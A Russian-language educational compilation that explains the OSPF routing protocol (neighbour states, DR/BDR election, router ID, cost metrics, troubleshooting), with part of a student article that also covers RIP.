Протокол ospf сети для самых маленьких. Понимание протоколов OSPF и RIP

OSPF (Open Shortest Path Fisrt) - протокол маршрутизации по состоянию связей. Разработан для IP сетей рабочей группой IETF (Internet Engineering Task Force) и описан в соответсвующем RFC 2328. Относится к семейству протоколов "внутреннего шлюза" IGP (interior gateway protocol). Это открытый протокол то есть его использование не регламентируется никакими патентными ограничениями.

Протокол разрабатывался для использования в крупных сетях уровня предприятия. Но он спроектирован с возможностями легко масштабироваться. В его основу положено понятие зон (area). Поэтому он может быть использован как в отдельной единственной зоне в небольших сетях, так и в нескольких занах большой сети. Изменения маршрутной информации в
одной зоне, не повлияет на работоспособность другой так как между зонами распространяется только обобщенная информация (суммарные маршруты). Для взаимодействия нескольких зон используют магистральную зону с нулевым номером (Area0 или backbone).

Работа протокола основана на алгоритме Дейкстры также называемом "алгоритмом поиска кратчайшего пути" SFP (shortest path first). При поиске "кратчайшего пути" алгоритм анализирует состояние канала: его пропускную способность и надежность.

Терминология OSPF:

  • Интерфейс (interface) — фактичесмки порт (не важно физический или логический) маршрутизатора на котором "висит" подсеть.
  • Объявление о состоянии канала (link-state advertisement, LSA) — пакет пересылаемый от одного OSPF маршрутизатора другому (только в пределах соседства) в котором объявляются сети известные данному маршрутизатору и состояния его каналов.
  • Состояние канала (link state) — состояние канала между двумя маршрутизаторами или между маршрутизатором и клиентской сетью. Изменение состояния канала (падение/поднятие порта) вызывает рассылку пакетов LSA.
  • Метрика (metric) — показатель качества канала. Интегральный показатель суммирующий в себя все метрики промежуточных линков между маршрутизатором и сетью назначения. Чем это значение меньше, тем маршрут надежнее;
  • Автономная система (autonomous system) — группа маршрутизаторов, обменивающаяся маршрутизирующей информацией с помощью одного протокола маршрутизации.
  • Зона (area) — совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.
  • Соседи (neighbours) — два маршрутизатора, имеющие интерфейсы в общей сети.
  • Состояние соседства (adjacency) — взаимосвязь между определенными соседними маршрутизаторами, установленная с целью обмена информацией маршрутизации.
  • Hello-протокол (hello protocol) — внутренний в структуре OSPF протокол, используемый для установления и поддержания отношений соседства между роутерами.
  • База данных соседей (neighbours database) — локальный для маршрутизатора список соседей по зоне OSPF.
  • База данных состояния каналов (link state database, LSDB) — список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.
  • Идентификатор маршрутизатора (router ID, RID) — 32-битовое число, уникальный в пределах автономной системы идентификатор маршрутизатора. Router ID выбирается следующим образом: если сконфигурироват Loopback0 интерфейс - его ip адрес становится Rouner ID. Если Loopback0 не создан то выбирается наибольший IP адрес среди активных на момент включения процесса OSPF интерфейсов маршрутизатора.

Принципы работы OSPF:

Главный принцип - кажды маршрутизатор внутри зоны хранит полную топологию своей зоны, то есть знает обо всех маршрутах и сетях в пределах зоны. Время приведения сети в это состояние (когда на каждом роутере OSPF есть полная таблица маршрутов) называется сходимостью. Все роутеры стремятся к тому чтобы сеть "сошлась".

Для этого каждый роутер OSPF проходит 7 стадий:

  1. Состояние отключено (down state). Это начальное состояние сети ospf только начал свою работу. В этом состоянии каждый роутер сам по себе. Никто друг друга не знает и никакой маршрутной информации в роутерах еще нет.
  2. Cостояние инициализации (init state). На этой стадии роутеры начинают обмениваться hello пакетами в попытках найти хот какого-нибудь соседа... Hello-пакеты рассылаются на все интерфейсы на которых поднят OSPF на мультикастный адрес 224.0.0.5. TTL в этих апакетов равен 1, поэтому их получают только роутеры находящиеся в пределах одного коммутируемого сегмента с интерфейсом отправителем.
  3. Двухстороннее соединение (Two-way) - на этой стадии все маршрутизаторы знают своих соседей и установили с ними adjacency
  4. ExStart - этап выбора DR и BDR зачем они нужны скажу ниже. DR становится маршрутизатор с наибольшим Router ID а BDR - второй "сверху".
  5. Обмен (Exchange) - роутеры обмениваются со своими соседями пакетами BDB (Data Base Description), которые содержат описание LSDB (Link State Data Base) - описание всех известных роутеру сетей.
  6. Загрузка (Loading) - на этом этапе происходит "сведение" LSDB на всех роутерах внутри зоны. Роутеры обмениваются информацией о неизвестных им ранее маршрутах. Правят свои локальные LSDB.
  7. Установка полной смежности (Full adjecency) - цель достигнута, все роутеры имеют идентичную LSDB. Лампочки моргают, пакеты бегают... Идилия до тех пор пока какому-нибудь линку не вздумается упасть...

Выделенный маршрутизатор (DR) и резервный выделенный маршрутизатор (BDR)

В сетях со множественным доступом отношения соседства должны быть установлены между всеми маршрутизаторами. Это приводит к тому, что рассылается большое количество копий LSA. Причем каждое изменение топологии сети приводит к возникновению новой волны рассылки LSA. В результате растет нагрузка на сеть, процессоры маршрутизаторов и увеличивается время сходимости сети. Для устранения этих проблем введены понятия DR и BDR маршрутизаторов управляющих рассылкой LSA.

Выделенный маршрутизатор (designated router, DR) — управляет процессом рассылки LSA в сети. Каждый маршрутизатор сети устанавливает отношения соседства с DR. Информация об изменениях в сети отправляется DR, маршрутизатором обнаружившим это изменение, а DR отвечает за то, чтобы эта информация была отправлена остальным маршрутизаторам сети.

Недостатком в схеме работы с DR маршрутизатором является то, что при выходе его из строя должен быть выбран новый DR. Новые отношения соседства должны быть сформированы и, пока базы данных маршрутизаторов не синхронизируются с базой данных нового DR, сеть будет недоступна для пересылки пакетов. Для устранения этого недостатка выбирается BDR.

Резервный выделенный маршрутизатор (backup designated router, BDR) . Каждый маршрутизатор сети устанавливает отношения соседства не только с DR, но и BDR. DR и BDR также устанавливают отношения соседства и между собой. При выходе из строя DR, BDR становится DR и выполняет все его функции. Так как маршрутизаторы сети установили отношения соседства с BDR, то время недоступности сети минимизируется.

Маршрутизатор, выбранный DR или BDR в одной присоединенной к нему сети со множественным доступом, может не быть DR (BDR) в другой присоединенной сети. Роль DR (BDR) является свойством интерфейса, а не свойством всего маршрутизатора.

Отношения соседства (Adjacency)

Для того, чтобы между маршрутизаторами установились отношения смежности необходимо чтобы выполнялись следующие условия:

  • Hello Interval для маршрутизаторов вступающих в отношения соседства должны совпадать. По умолчанию это 10 секунд в Broadcast сетях, типа Ethernet. Это своего рода KeepAlive сообщения. То есть каждые 10 секунд каждый маршрутизатор отправляет Hello пакет своему соседу, чтобы сказать: “Хей, я жив”,
  • Dead Interval этих маршрутизаторах должны быть идентичными. По умолчанию это 4 интервала Hello — 40 секунд. Если в течение этого времени от соседа не получено Hello, то он считается недоступным. После этого сосед запускает процедуру обновления LSDB т.к. топология сети изменилась.
  • Интерфейсы, подключенные друг к другу, должны быть в одной подсети.
  • Номера зон OSPF должны совпадать
  • Должен совпадать размер MTU

OSPFv3

С появлением IPv6была выпущена третья версия протокола OSPFv3 в который добавили следующие изменения:

  • Добавлена возможность включения OSPFv3 в режиме конфигурирования интерфейса, при этом автоматически запускается новый процесс OSPF и добавляется соответствующий раздел в файле конфигурации
  • Все сети (primory и secondary) привязанные к интерфейсу на котором настроен OSPF анонсируются;
  • Если на роутере не сконфигурировано ни одного IPv4 адреса - идентификатор Router ID должен быть настроен вручную;
  • Добавлены два новых типа LSA — Link LSA и Intra-Area Prefix LSA;
  • Области распространения LSA. Кроме существующих областей распространения в OSPFv2 — зона и автономная система, добавилась область — канал (области распространения LSA указаны в описании соответствующих LSA);
  • Несколько сущностей (instances) могут быть в пределах канала;
  • Пакеты OSPF отправляются с link-local адреса (за исключением virtual link);
  • Возможность защиты сессии паролем из протокола удалена. Протокол OSPFv3 использует механизм аутентификации IPv6;

Существует два класса протоколов маршрутизации внутри автономных систем: Distance Vector , к которому относятся RIP, EIGRP и Link State , к которому относятся OSPF и IS-IS. Идеология Link State подразумевает, что каждый маршрутизатор должен не просто знать самые лучшие маршруты во все удалённые сети, но и иметь в памяти полную карту сети со всеми существующими связями между другими маршрутизаторами в том числе. OSPF – наиболее распространённый протокол маршрутизации. Это связанно с тем, что его основной конкурент EIGRP вплоть до 2013 года был закрытым протоколом и мог использоваться только на оборудовании Cisco, в то время, как OSPF – это открытый протокол, и он изначально поддерживался как Cisco, так и другими производителями. Таким образом, OSPF завоевал популярность не смотря на некоторые его недостатки в сравнении с EIGRP: меньшую гибкость, отсутствие четкого описания механизма подсчёта метрики, повышенные требования к ресурсам маршрутизатора. В то же время, у OSPF есть и множество достоинств: иерархический дизайн сети (реализуется с помощью зон), удобство при отладке (так как можно видеть карту сети).

Стандартное значение административной дистанции для протокола OSPF – 110, что означает, что его маршруты считаются более приоритетными чем IS-IS, RIP, External EIGRP, Internal BGP, но менее приоритетными чем IGRP, EIGRP BGP. Такая административная дистанция – скорее преференция со стороны Cisco к своим протоколам. Так как с точки зрения здравого смысла, OSPF, конечно предпочтительнее RIP, в современных сетях, но он так же должен быть и предпочтительнее IGRP, который, в силу своего возраста является классовым протоколом маршрутизации. OSPF является бесклассовым (classless) протоколом маршрутизации, что означает передачу вместе с апдейтами информацию о маске подсети (префиксе), в то время, как старые классовые протоколы маршрутизации, опираются на стандартные классы сетей (A, B, C) и по этой причине в настоящее время малоприменимы.

Принцип работы OSPF

Логика работы протокола OSPF следующая:

  1. Маршрутизаторы обмениваются маленькими HELLO-пакетами
  2. Обменявшись пакетами, они устанавливают соседские отношения, добавляя каждый друг друга в свою локальную таблицу соседей
  3. Маршрутизаторы собирают состояния всех своих линков (связей с соседями), включающие в себя id Маршрутизатора, id соседа, сеть и префикс между ними, тип сети, стоимость линка (метрику) и формируют пакет, называемый LSA (Link State Advertisement).
  4. Маршрутизатор рассылает LSA своим соседям, те распространяют LSA дальше.
  5. Каждый маршрутизатор, получивший LSA добавляет в свою локальную табличку LSDB (Link State Database) информацию из LSA.
  6. В LSDB скапливается информация, обо всех парах соединённых в сети маршрутизаторов, то есть каждая строчка таблицы - это информация вида: «Маршрутизатор A имеет соединение со своим соседом маршрутизатором B, между ними сеть такая-то с такими-то свойствами».
  7. После обмена LSA, каждый маршрутизатор знает про все линки, на основании пар строится полная карта сети, включающая все маршрутизаторы и все связи между ними.
  8. На основании этой карты каждый маршрутизатор индивидуально ищет кратчайшие с точки зрения метрики маршруты во все сети и добавляет их в таблицу маршрутизации.

Как видно из описания алгоритма, он достаточно сложный и ресурсоёмкий. Это объясняет высокие требования OSPF к производительности маршрутизатора и оперативной памяти. Теперь, давайте представим, что происходит, если у одного из маршрутизаторов пропадает связь с соседом:

  1. Он рассылает всем новые LSA
  2. Все заново строят карту сети
  3. Заново считают кратчайшие маршруты во все сети
  4. Обновляют свою таблицу маршрутизации

Понятно, что если у нас в много маршрутизаторов, много разных сетей, то такая ситуация будет происходить достаточно часто, вызывая постоянный пересчёт на всех маршрутизаторах и существенно их нагружая. По этой причине, в больших сетях используется разделение на зоны (area ), в каждой зоне вычисления производятся автономно, а между зонами распространяется только результат этих вычислений, таким образом, использование зон важно в случае больших сетей. Об использовании нескольких зон стоит прочесть , пока же мы будем пользоваться одной корневой зоной с номером 0 – эта нулевая зона обязана присутствовать в конфигурации OSPF, и маленькие сети обычно находятся целиком в ней одной.

OSPF пакет помещается в IP пакет, у которого адрес отправителя – адрес отправившего пакет маршрутизатора, а адрес получателя, как правило, мультикастовый. Пакет помещается в соответствующий мультикастовый фрейм, например, Ethernet. Следует обратить внимание, что OSPF напрямую инкапсулируется в IP, а не в TCP или UDP. Этот момент важен при написание списков контроля доступа.

Виды OSPF сообщений

Всего существует пять типов OSPF сообщений:

  1. Hello – отправляются регулярно для поиска соседей и установки соседских отношений
  2. Database Description DBD – используются для проверки синхронизации LSDB у соседних маршрутизаторов
  3. Link state request LSR – принудительный запрос у некого маршрутизатора его LSA. Может использоваться, например, когда маршрутизатор только включился и ему надо узнать текущие связи в сети, или, когда у маршрутизатора пропала сеть, и он хочет узнать нет ли у других маршрутизаторов альтернативных маршрутов к ней.
  4. Link state update LSU – содержит состояния связей маршрутизатора.
  5. Link State Acknowledgment LSAck – пакет-подтверждение, высылается в ответ на другие типы пакетов. Это связано с тем, что OSPF не использует протокол TCP и для надёжной доставки нужен свой собственный механизм подтверждений.

OSPF Hello и Dead интервалы

Hello пакеты рассылаются маршрутизаторами регулярно. Периодичность можно менять в соответствии с задачами, но по умолчанию они шлются раз в 10 секунд в сетях со множественным доступом (BMA) и сетях точка-точка (point-to-point) и раз в 40 секунд в сетях со множественным доступом без возможности широковещательной рассылки (NBMA). Если маршрутизатор не получает ни одного пакета в течении Dead-интервала, то считается, что сосед пропал и отношения разрываются, что влечёт за собой потерю, линка, отправку LSU, пересчёт топологии и т.д. Dead-интервал по умолчанию равен четырём Hello-интервалам, (40 секунд для BMA и 120 для NBMA).

ID маршрутизатора в OSPF

Так как маршрутизаторы строят карту сети, где в качестве узлов используются другие маршрутизаторы, то очень важно, чтобы все они имели уникальные имена. Это необходимо для того, чтобы глядя на полученные из разных источников LSA, понять, что речь идёт об одних и тех же устройствах. В качестве такого уникального имени в OSPF используется поле «Router ID». Идентификатор маршрутизатора выглядит как ip адрес, то есть, состоит из четырёх октетов, разделённых точками. Причём, даже в OSPF для IPv6 идентификатор выглядит как IPv4 адрес. Идентификатор всегда должен присутствовать. Не так важно, какой он будет, важна уникальность идентификаторов в пределах сети. Его можно задать вручную, либо, если этого не сделать, он будет присвоен автоматически.

В общем случае, алгоритм назначения маршрутизатору идентификатора следующий (в порядке приоритета):

  1. Если ID задан явно с помощью команды router-id, то используется именно он
  2. Если router-id не вводился, то берётся самый большой адрес из всех loopback интерфейсов, настроенных на данном маршрутизаторе
  3. Если loopback интерфейсов нет, то берётся самый большой адрес из всех включенных интерфейсов на данном маршрутизаторе. Причём, интерфейс не обязательно должен входить в OSPF процесс, не обязательно его сеть должна быть перечислена при настройке OSPF, достаточно чтобы был настроен адрес и интерфейс был включен.

Здесь под самым большим адресом подразумевается буквальное сравнение по октетам, то есть, например, 10.10.10.20>10.10.10.10, а 2.0.0.1>1.100.100.100, то есть сравниваем по октетам слева направо, как только увидели разницу, то сразу принимаем решение о том, кто больше и дальше не проверяем.

Работа OSPF в сетях со множественным доступом

Одна из проблем подхода OSPF к построению карты сети – использование его в сетях с множественным доступом. Часто используется топология, когда множество маршрутизаторов не подключаются последовательно друг к другу, а соединены через некоторую общую сеть, например, все имеют отдельный интерфейс в некоторой IP-сети для обмена трафиком друг с другом, все подключены один коммутатор, через который обмениваются, или все имеют интерфейс в некотором общем VLAN. В этом случае, OSPF в теории должен устанавливать соседские отношения по принципу «каждый с каждым» в пределах этой общей сети, что приводит к огромным таблицам соседей, повышенной нагрузке на канал, на память и процессор. Ниже приведена таблица, в которой показана зависимость количества соседских отношений от количества маршрутизаторов в одной сети, общая формула для количества отношений имеет вид n(n-1)/2.

Для того чтобы преодолеть эту проблему в OSPF существует механизм выбора Designated Router (DR) и Backup Designated Router (BDR). DR и BDR – это роли маршрутизаторов. Когда имеется сеть со множественным доступом и в ней более двух маршрутизаторов, то один выбирается на роль DR, а второй – на BDR. Каждый маршрутизатор, который хочет отправить, например, LSA, шлёт его не всем в сети, а на специальный мультикастовый адрес, который слушает только DR и BDR, а DR рассылает LSA всем в сети. Таким образом у нас получается не связь «каждый с каждым», а связь «каждый с DR» + «DR с каждым», что позволяет существенно снизить нагрузку в случае, если маршрутизаторов в таком сегменте много. BDR же ничего никому не шлёт – он только слушает то же что и DR и в случае выхода из строя DR-а, BDR мгновенно занимает его место, а среди оставшихся маршрутизаторов проходят выборы нового BDR.

Метрика в OSPF

Сам по себе открытый протокол OSPF не предъявляет никаких требований к тому, как должна считаться метрика и как должно оцениваться «качество маршрута», в стандарте просто говорится, что у каждого линка есть некая стоимость (cost), если маршрут проходит через несколько линков, то их стоимость суммируется. Самым лучшим считается тот маршрут, у которого стоимость меньше остальных. Понятно, что мы имеем дело с той же метрикой, только без внятного механизма его подсчёта. Разные производители могут по разному считать стоимость, поэтому Cisco предусмотрела два варианта вычисления стоимости:

    1. Стоимость считается как обратная величина от скорости линка, например, 1 – для гигабита, 10 – для ста мегабит, 100 – для десяти мегабит, 1000 – для одного мегабита и т.п. Такой вариант хорош, когда мы строим сеть только на оборудовании cisco и знаем, что все маршрутизаторы считают метрику по такому алгоритму. В этом случае стоимость будет считаться автоматически, что существенно упростит настройку.
    2. Стоимость задаётся администратором вручную для каждого линка исходя из своих представлений о качестве этого линка. Такой вариант может применяться в случае, если качество линка не измеряется одной его скоростью. Например, администратор может искуственно завысить метрику для линка, на котором проводится таррификация трафика, или на котором часто возникают ошибки. Это даёт большую гибкость, но требует ручной настройки. Второй случай, когда приходится исползовать этот метод – присутствие в сети маршрутизаторов разных производителей. В этой ситуации надо обеспечить адекватный одинаковые представления о стоимости на всех маршрутизаторах. Надо изучить, как считается стоимость у других производителей, посчитать её так же и задать вручную на маршрутизаторах Cisco.

    При выборе первого способа стоимость считается так: берётся величина в 1 гигабит и делится на скорость интерфейса. Этот подход был придуман в те времена, когда 1 гигабит был максимальной скоростью, которую только можно представить. Если считать метрику таким образом, то стоимость гигабиат будет равна единице, но и стоимость 10 гигабитного канала тоже будет равна единице (так как стоимость – целое положительное число). Для того чтобы изменить то значение, которое делится на скорость линка, есть команда auto-cost reference-bandwidth, после которой указывается скорость в мегабитах. То есть, чтобы 1 Гбит отличался от 10 Гбит по стоимости, надо ввести команду:

    Router(config-router)#auto-cost reference-bandwidth 10000 % OSPF: Reference bandwidth is changed. Please ensure reference bandwidth is consistent across all routers.

    После этого у 10 Гбит будет стоимость 1, у 1 Гб – стоимость 10, у 100 Мб – стоимость 100 и т.д. Важно ввести одинаковое значение на всех маршрутизаторах, чтобы метрика считалась не противоречиво.

    Так или иначе, после того как стоимость определена на каждом линке, стоимость всего маршрута становится равной сумме стоимостей линков через которые он проходит.

Бакалавр

магистрант

Ращупкин Евгений Олегович, СибГУТИ, магистрант

Аннотация:

Статья посвящена протоколам OSPF и RIP. Проводится описание этих протоколов, основные понятия протоколов, также рассматриваются проблемы возникающие с ними и их решение.

The article is devoted protocols OSPF and RIP. Held description of these protocols, the basic concepts of protocols, also deals with the problems arising from them and their decision.

Ключевые слова:

УДК 004

Протокол OSPF (англ. Open Shortest Path First) — протокол динамической маршрутизации, основанный на технологии отслеживания состояния канала (link-state technology) и использующий для нахождения кратчайшего пути Алгоритм Дейкстры.

Протокол OSPF был разработанIETF(англ. Internet Engineering Task Force) в 1988 году. Последняя версия протокола представлена в RFC 2328. Протокол OSPF представляет собой протокол внутреннего шлюза IGP(англ. Interior Gateway Protocol). Протокол OSPF распространяет информацию о доступных маршрутах между маршрутизаторами одной автономной системы.

Open Shortest Path First можно перевести на русский, как протокол кратчайшего пути (маршрута). OSPF является промышленным протоколом, который описывается в соответствующем RFC 2328.

Протоколы маршрутизации разделяются на два вида, которые зависят от типов алгоритмов, на которых они основаны:

Дистанционно-векторные протоколы, основаны на Distance Vector Algorithm (DVA) это RIP, IGRP,BGP,EIGRP,AODV .

Протоколы состояния каналов связи, основаны на Link State Algorithm (LSA) это IS-IS,OSPF,NLSP,HSRP,CARP,OLSR,TBRPF

Так же протоколы маршрутизации делятся на два вида в зависимости от сферы применения:

Междоменной маршрутизации - это EGP, BGP, IDRP, IS-IS level 3;

Внутридоменной маршрутизации - это RIP, IS-IS level 1-2, OSPF, IGRP, EIGRP.

Протокол OSPF относится к протоколам состояния каналов связи. Преимущества OSPF

  • Высокая скорость сходимости по сравнению с дистанционно-векторными протоколами маршрутизации;
  • Поддержка сетевых масок переменной длины (VLSM);
  • Оптимальное использование пропускной способности

Описание работы протокола

1.Маршрутизаторы обмениваются hello-пакетами через все интерфейсы, на которых активирован OSPF. Маршрутизаторы, разделяющие общий канал передачи данных, становятся соседями, когда они приходят к договоренности об определённых параметрах, указанных в их hello-пакетах.

2.На следующем этапе работы протокола маршрутизаторы будут пытаться перейти в состояние смежности со своими соседями. Переход в состояние смежности определяется типом маршрутизаторов, обменивающихся hello-пакетами, и типом сети, по которой передаются hello-пакеты. OSPF определяет несколько типов сетей и несколько типов маршрутизаторов. Пара маршрутизаторов, находящихся в состоянии смежности, синхронизирует между собой базу данных состояния каналов.

3.Каждый маршрутизатор посылает объявления о состоянии канала маршрутизаторам, с которыми он находится в состоянии смежности.

4.Каждый маршрутизатор, получивший объявление от смежного маршрутизатора, записывает передаваемую в нём информацию в базу данных состояния каналов маршрутизатора и рассылает копию объявления всем другим смежным с ним маршрутизаторам.

5.Рассылая объявления внутри одной OSPF-зоны, все маршрутизаторы строят идентичную базу данных состояния каналов маршрутизатора.

6.Когда база данных построена, каждый маршрутизатор использует алгоритм "кратчайший путь первым" для вычисления графа без петель, который будет описывать кратчайший путь к каждому известному пункту назначения с собой в качестве корня. Этот граф — дерево кратчайших путей.

7.Каждый маршрутизатор строит таблицу маршрутизации из своего дерева кратчайших путей.

Типы сетей, поддерживаемые протоколом OSPF

Широковещательные сети со множественным доступом (Ethernet, Token Ring)

Точка-точка (T1, E1, коммутируемый доступ)

Нешироковещательные сети со множественным доступом (NBMA) (Frame relay)

OSPF - масштабируемый протокол маршрутизации, он может быть использован, как в отдельной единственной зоне в небольших сетях, так и в нескольких зонах большой сети. Можно сгруппировать некоторые маршрутизаторы в одну Area, а другие в другую. Тем самым изменения маршрутной информации в одной зоне, не повлияет на работоспособность другой. Для взаимодействия нескольких зон используют Area0, т.е. это зона является магистралью (backbone).

Состояния протокола OSPF.

При установке связи между маршрутизаторами, протокол OSPF имеет следующие состояния. Стоит хорошо усвоить работу этих состояний, т.к. это является основополагающим в понимании OSPF

Существует 5 состояний:

1. Состояние отключено (down state)

2. Состояние инициализации (init state)

3. Двустороннее соединение (Two-way)

4. ExStart

7. Установка полной смежности (Full adjecency)

Для разбора всех этих состояний, нам требуется ещё знать, какие типы

пакетов используются в протоколе OSPF.

Типы пакетов в протоколе OSPF:

Hello пакет - данный тип пакета предназначен для создания и поддержки таблицы соседних устройств.

DBD пакет (Database Description packet), как видно из название это пакет описания содержимого базы данных состояния каналов маршрутизатора.

LSR (Link State Request) - запрос о состоянии каналов, предназначен для запроса отдельного фрагмента базы данных состояния каналов.

LSU (Link state update) - обновление состояния каналов. Данный пакет передает в себе обновление о состоянии каналов.

LSAck (Link state acknowledgment) - Подтверждение о получении от соседнего устройства LSA (Link State Advertisement).

Теперь рассмотрим состояния и переходы между состояниями более подробно.

1. Down state.

Самое простое состояние, и не требует детального описания. В двух

словах, это состояние, при котором не происходил обмен между соседними маршрутизаторами, маршрутизатор ожидает перехода в следующее состояние - Init State, состояние инициализации.

2. Init State.

В состоянии инициализации маршрутизатор OSPF посылает Hello пакеты для установки связи между соседними устройствами, по умолчанию каждые 10 секунд. Когда интерфейс получает Hello пакет, маршрутизатор переходит в состояние инициализации, другими словами, маршрутизатор "понимает" что на этом интерфейсе есть соседнее устройство.

3. Состояние двусторонней связи (Two-way).

Каждый маршрутизатор OSPF пытается установить связь со всеми своими соседями, это просиходит с помощью пакета Hello. В пакете Hello передается список всех известных соседних маршрутизаторов. Если маршрутизатор принимает пакет Hello и "видит" в этом пакете себя, то считается что состояние двусторонней связи установлено.

Данное состояние является базовым, но для совместного использования

маршрутной инфомарцией этого недостаточно.

4. Состояние ExStart.

Для установки состояние ExStart использутеся пакет DBD (описание базы данных). Так же в этом состоянии "выясняется", какой из маршрутизаторов является ведущим (master), а какой ведомый (slave). Выбор осуществляется по ID маршрутизатора. Маршутизатор, у которого ID больше становится master. После того, как определены роли маршрутизаторов, маршрутизаторы переходят в следующее состояние - обмена.

5. Exchange

В состоянии Exchange, как видно из названия, происходит обмен информации о состоянии каналов. После получения маршрутизатором такой информации, маршрутизатор сравнивает с своей базой данных и если такая информация отсутсвует, то маршрутизатор запрашивает полную информацию о данном канале. Полный обмен информации происходит в следующем состоянии - Loading.

В состоянии Exchange, маршрутизатор нашел информацию, которой нет в собственной базе данных, для получения полной информации об этом канале маршрутизатор посылает пакет-запрос LSR (Link State Request) соответсвующему соседу. Сосед отвечает пакетом LSU (Link State Update), в котором содержится полная информация о запрашиваемом канале. После получения пакета LSU, маршрутизатор должен подтвердить это соответсвующим пакетом (LSAck).

7. Full adjacency - Состояние полной смежности.

считаются полностью смежными. Каждый маршрутизатор имеет свою таблицу смежных маршрутизаторов.

При прохождении всех этих состояний, в маршрутизаторе будет сформированы три базы данных.

1. База данных канального уровня. - в данной базе содержится вся

информация о состоянии каналов всех маршрутизаторов, т.е. данная БД

содержит общую топологию всей сети. Следует отметить, что все

маршрутизаторы имеют одинаковую БД канального уровня.

2. База данных о смежных устройствах. - Список всех устройств, с

которыми установлено двусторонние соединение.

3. Таблица маршрутизации. - Список маршрутов, который сформирован каждым

маршрутизатором с помощью алгоритма SPF.

Маршруты вычисляются из базы данных канального уровня. И вычисляются каждым маршрутизатором самостоятельно!

Протокол OSPF поддерживает следующие типы сетей:

1. Nonbroadcast multiaccess (не широковещательные сети множественного доступа - NBMA)

2. Broadcast multiaccess (широковещательные сети множественного доступа - Ethernet, TokenRing)

3. Point - to - Point "Точка-точка" (T1,E1, коммутируемый доступ)

4. Point - to - multipoint "точка-многоточка"

В широковещательных сетях, с множеством маршрутизаторов, появляется слишком много служебной информации, когда все маршрутизаторы начинают обмениваться данными, своими маршрутами, и т.д.

Для уменьшения служебного трафика используется выбор назначенного и резервного маршрутизатора (DR - designated router и BDR - backup

designated router), которые и будут рассылать все необходимые маршруты остальным маршрутизатором. Смысл этого в том, что все маршрутизаторы устанавливают состояние полной смежности только с DR/BDR и только им посылают информацию о состоянии своих каналов, тем самым происходит уменьшение служебного трафика в сети.

"Общение" между маршрутизаторами и DR/BDR осщуествляется с помощью мультикаста - 224.0.0.5. "Общение" между DR и BDR происходит по своему мультикаст адресу - 224.0.0.6

В сетях point - to - point существует только два маршрутизатора, соответсвенно не нужно выбирать ни DR ни BDR

Терминология протокола OSPF

  • Интерфейс (interface) — соединение маршрутизатора и одной из подключенных к нему сетей. При обсуждении OSPF термины интерфейс и канал (link) часто употребляются как синонимы.
  • Объявление о состоянии канала (link-state advertisement, LSA) — объявление описывает все каналы маршрутизатора, все интерфейсы и состояние каналов.
  • Состояние канала (link state) — состояние канала между двумя маршрутизаторами; обновления происходят при помощи пакетов LSA.
  • Метрика (metric) — условный показатель «стоимости» пересылки данных по каналу;
  • Автономная система (autonomous system) — группа маршрутизаторов обменивающихся маршрутной информацией через общий протокол маршрутизации.
  • Зона (area) — совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.
  • Соседи (neighbours) — два маршрутизатора, имеющие интерфейсы в общей сети.
  • Состояние смежности (adjacency) — взаимосвязь между определёнными соседними маршрутизаторами установленная с целью обмена информацией маршрутизации.
  • Hello-протокол (hello protocol) — используется для поддержания соседских отношений.
  • База данных соседей (neighbours database) — список всех соседей.
  • База данных состояния каналов (link state database, LSDB) — список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.
  • Идентификатор маршрутизатора (router ID, RID) — уникальное 32-битовое число, которое уникально идентифицирует маршрутизатор в пределах одной автономной системы.

Проблемы, возникающие в работе протокола маршрутизации OSPF

Протокол Open Shortest Path First является самым эффективным протоколом маршрутизации, но при этом он и самый сложный. Перед реализацией OSPF необходимо выделить немного времени и ознакомится с его основами, прочитав соответствующую документацию.

Проблемы в работе протокола маршрутизации OSPF

  1. 1. Недостаточно маршрутов OSPF

ü Не получены итоговые маршруты. Убедитесь, что пограничные маршрутизаторы области имеют правильные пары назначения и маски подсети для создания итоговых маршрутов области.

ü Не принимаются внешние маршруты от пограничных маршрутизаторов автономных систем. Проверьте, чтобы на маршрутизаторе не использовалась слишком жесткая фильтрация. Фильтрация настраивается на вкладке Внешняя маршрутизация (External Routing) в диалоговом окне Свойства (Properties)протокола OSPF.

ü Все пограничные маршрутизаторы области не подключены к сетевой магистрали. Все пограничные маршрутизаторы области должны быть физически подключены к магистрали или иметь логическое подключение с помощью виртуальной связи. Не должно существовать скрытых маршрутизаторов.

  1. 2. Не формируется близость OSPF

ü Протокол OSPF не включен на интерфейсе маршрутизатора.

ü Соседние маршрутизаторы имеют некорректные интервалы приветствия и мертвые интервалы.

ü Отсутствие связи по протоколу IP между соседними маршрутизаторами.

ü Используется некорректная конфигурация протокола OSPF. Попытайтесь воспользоваться журналом OSPF для протоколирования ошибок и предупреждений протокола OSPF.

ü Некорректные параметры аутентификации или пароли.

  1. 3. Не формируется виртуальное подключение

ü Интервал повторной передачи слишком короткий (эта проблема характерна для больших сетей, где задержки отправки и возврата достигают значительных величин)

ü Указан некорректный идентификатор маршрутизатора в виртуальном подключении к соседу.

ü Соседи виртуального подключения имеют некорректные идентификаторы транзитной области.

ü Проверьте правильность настройки паролей, мертвого интервала или интервала приветствия.

Протокол RIP

Протокол маршрутной информации (англ. Routing Information Protocol) — один из самых простых протоколов маршрутизации. Применяется в небольших компьютерных сетях, позволяет маршрутизатором динамически обновлять маршрутную информацию (направление и дальность в хопах), получая ее от соседних маршрутизаторов.

Алгоритм маршрутизации RIP (Алгоритм Беллмана - Формана) был впервые разработан в 1969 году, как основной для сети Arpanet.

Прототип протокола RIP — Gateway Information Protocol, часть пакета PARC Universal Packet.

Версия RIP, которая поддерживает протокло интернета была включена в пакет BSD операционной системы Unix под названием routed (route daemon), а также многими производителями, реализовавшими свою версию этого протокола. В итоге протокол был унифицирован в документе RFC 1058.

В 1994 году был разработан протокол RIP-2 (RFC 2453), который является расширением протокола RIP, обеспечивающим передачу дополнительной маршрутной информации в сообщениях RIP и повышающим уровень безопасности.

Для работы в среде IPv6 была разработана версия RIPng.

Техническая информация

RIP — так называемый протокол дистанционно-векторной маршрутизации, который оперирует транзитными участками в качестве метрики маршрутизации. Максимальное количество хопов, разрешенное в RIP — 15 (метрика 16 означает «бесконечно большую метрику»). Каждый RIP-маршрутизатор по умолчанию вещает в сеть свою полную таблицу маршрутизации раз в 30 секунд, довольно сильно нагружая низкоскоростные линии связи. RIP работает на прикладном уровне стека TCP/IP, используя UDP порт 520.

